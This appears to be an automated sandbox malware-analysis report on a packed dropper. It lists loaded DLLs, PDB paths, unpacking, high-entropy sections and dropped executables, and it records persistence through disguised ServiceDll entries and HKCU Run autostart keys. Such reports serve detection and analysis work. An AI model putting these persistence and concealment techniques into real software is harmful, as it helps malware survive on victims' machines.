Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3000320 > 1048576

Source: file.exe

Static PE information: Raw size of uqtmlxsm is bigger than: 0x100000 < 0x2b0c00

Source:	Binary string: C:\Google translate master\elapsedTime\x64\Release\elapsedTime.pdb source: svchost.exe, 00000009.00000002.2885388402.000000018003C000.00000002.00001000.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.3301973790.000000018003C000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\elapsedTimeWrapper\x64\Release\elapsedTimeWrapper.pdb source: svchost.exe, 00000009.00000002.2890503390.00007FF8A888E000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000014.00000002.3316819374.00007FF8A869E000.00000002.00000001.01000000.0000000E.sdmp, BackupOfflineDownload.dll.8.dr
Source:	Binary string: my_library.pdbU source: fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initial\x64\Release\initial.pdb source: configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initial\x64\Release\initial.pdb% source: configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\watcherWrapper\x64\Release\watcherWrapper.pdb source: svchost.exe, 00000009.00000002.2889083714.000001B1106A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Google translate master\elapsedTime\x64\Release\elapsedTime.pdb- source: svchost.exe, 00000009.00000002.2885388402.000000018003C000.00000002.00001000.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.3301973790.000000018003C000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initialWrapper\x64\ReleaseEXE\initialWrapper.pdb7 source: configuredInstallerEXE.exe, 00000008.00000000.2826170189.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2914870157.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Google translate master\watcher\x64\Release\watcher.pdb! source: svchost.exe, 00000012.00000002.3306996837.000001AF56C75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\initialWrapper\x64\ReleaseEXE\initialWrapper.pdb source: configuredInstallerEXE.exe, 00000008.00000000.2826170189.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2914870157.00007FF733FFC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: @#C:\Google translate master\elapsedTimeWrapper\x64\Release\elapsedTimeWrapper.pdb source: svchost.exe, 00000009.00000002.2890503390.00007FF8A888E000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000014.00000002.3316819374.00007FF8A869E000.00000002.00000001.01000000.0000000E.sdmp, BackupOfflineDownload.dll.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmp, RYM16770HTK1NZSZ1PW5P28.exe, 00000003.00000003.2273352345.0000000004C30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Google translate master\watcher\x64\Release\watcher.pdb source: svchost.exe, 00000012.00000002.3306996837.000001AF56C75000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Unpacked PE file: 3.2.RYM16770HTK1NZSZ1PW5P28.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;aejguxos:EW;ewwuwcmc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Unpacked PE file: 4.2.8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.980000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.980000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ifrehnre:EW;zamtwnup:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Unpacked PE file: 22.2.b6ea789a1a.exe.bc0000.0.unpack :EW;.rsrc:W;.idata :W;uqtmlxsm:EW;mzkwthef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uqtmlxsm:EW;mzkwthef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Unpacked PE file: 23.2.fc0b992f89.exe.ca0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dehzcbgt:EW;tgbizlmw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dehzcbgt:EW;tgbizlmw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Unpacked PE file: 24.2.b6ea789a1a.exe.bc0000.0.unpack :EW;.rsrc:W;.idata :W;uqtmlxsm:EW;mzkwthef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uqtmlxsm:EW;mzkwthef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Unpacked PE file: 41.2.fc0b992f89.exe.ca0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dehzcbgt:EW;tgbizlmw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dehzcbgt:EW;tgbizlmw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: Loader_seyhhd.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x38401e
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: real checksum: 0x2c6ec6 should be: 0x2ccff3
Source: ThreadRestartTerminal.dll.9.dr	Static PE information: real checksum: 0x0 should be: 0xab4be
Source: configuredInstallerEXE[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x771cfe
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2e0647 should be: 0x2e490a
Source: RemotePrinterSecurity.dll.9.dr	Static PE information: real checksum: 0x0 should be: 0x59793f
Source: Loader_seyhhd[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x38401e
Source: fc0b992f89.exe.7.dr	Static PE information: real checksum: 0x214446 should be: 0x217c45
Source: configuredInstallerEXE.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x771cfe
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x214446 should be: 0x217c45
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1cfc0e should be: 0x1c7dd7
Source: b6ea789a1a.exe.7.dr	Static PE information: real checksum: 0x2e0647 should be: 0x2e490a
Source: file.exe	Static PE information: real checksum: 0x2e0647 should be: 0x2e490a
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: real checksum: 0x1cfc0e should be: 0x1c7dd7
Source: BackupOfflineDownload.dll.8.dr	Static PE information: real checksum: 0x0 should be: 0x6e0114
Source: num[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: uqtmlxsm
Source: file.exe	Static PE information: section name: mzkwthef
Source: file.exe	Static PE information: section name: .taggant
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name:
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: .idata
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: aejguxos
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: ewwuwcmc
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: .taggant
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name:
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: .idata
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name:
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: ifrehnre
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: zamtwnup
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: ifrehnre
Source: skotes.exe.4.dr	Static PE information: section name: zamtwnup
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: Loader_seyhhd[1].exe.7.dr	Static PE information: section name: ._/b
Source: Loader_seyhhd[1].exe.7.dr	Static PE information: section name: .DIl
Source: Loader_seyhhd[1].exe.7.dr	Static PE information: section name: .abx
Source: Loader_seyhhd.exe.7.dr	Static PE information: section name: ._/b
Source: Loader_seyhhd.exe.7.dr	Static PE information: section name: .DIl
Source: Loader_seyhhd.exe.7.dr	Static PE information: section name: .abx
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: uqtmlxsm
Source: random[1].exe.7.dr	Static PE information: section name: mzkwthef
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: b6ea789a1a.exe.7.dr	Static PE information: section name:
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: .idata
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: uqtmlxsm
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: mzkwthef
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: dehzcbgt
Source: random[1].exe0.7.dr	Static PE information: section name: tgbizlmw
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: fc0b992f89.exe.7.dr	Static PE information: section name:
Source: fc0b992f89.exe.7.dr	Static PE information: section name: .rsrc
Source: fc0b992f89.exe.7.dr	Static PE information: section name: .idata
Source: fc0b992f89.exe.7.dr	Static PE information: section name:
Source: fc0b992f89.exe.7.dr	Static PE information: section name: dehzcbgt
Source: fc0b992f89.exe.7.dr	Static PE information: section name: tgbizlmw
Source: fc0b992f89.exe.7.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0128DFFC push ecx; retf	0_3_0128DFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595993F push ecx; iretd	0_3_05959946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0595965E push es; iretd	0_3_0595965F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05959378 push esp; iretd	0_3_05959399

Source: file.exe	Static PE information: section name: entropy: 7.97732665012438
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: entropy: 7.763853554371917
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: entropy: 7.982666571866368
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: ifrehnre entropy: 7.953927974082208
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.982666571866368
Source: skotes.exe.4.dr	Static PE information: section name: ifrehnre entropy: 7.953927974082208
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.97732665012438
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: entropy: 7.97732665012438
Source: random[1].exe0.7.dr	Static PE information: section name: dehzcbgt entropy: 7.954918620113692
Source: fc0b992f89.exe.7.dr	Static PE information: section name: dehzcbgt entropy: 7.954918620113692

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BackupOfflineDownload\Parameters ServiceDll C:\Windows\System32\BackupOfflineDownload.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ThreadRestartTerminal\Parameters ServiceDll C:\Windows\System32\ThreadRestartTerminal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RemotePrinterSecurity\Parameters ServiceDll C:\Windows\System32\RemotePrinterSecurity.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\ThreadRestartTerminal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\RemotePrinterSecurity.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	File created: C:\Windows\System32\BackupOfflineDownload.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002758001\num.exe	Jump to dropped file

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\ThreadRestartTerminal.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\RemotePrinterSecurity.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	File created: C:\Windows\System32\BackupOfflineDownload.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fee9e49cf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fc0b992f89.exe	Jump to behavior
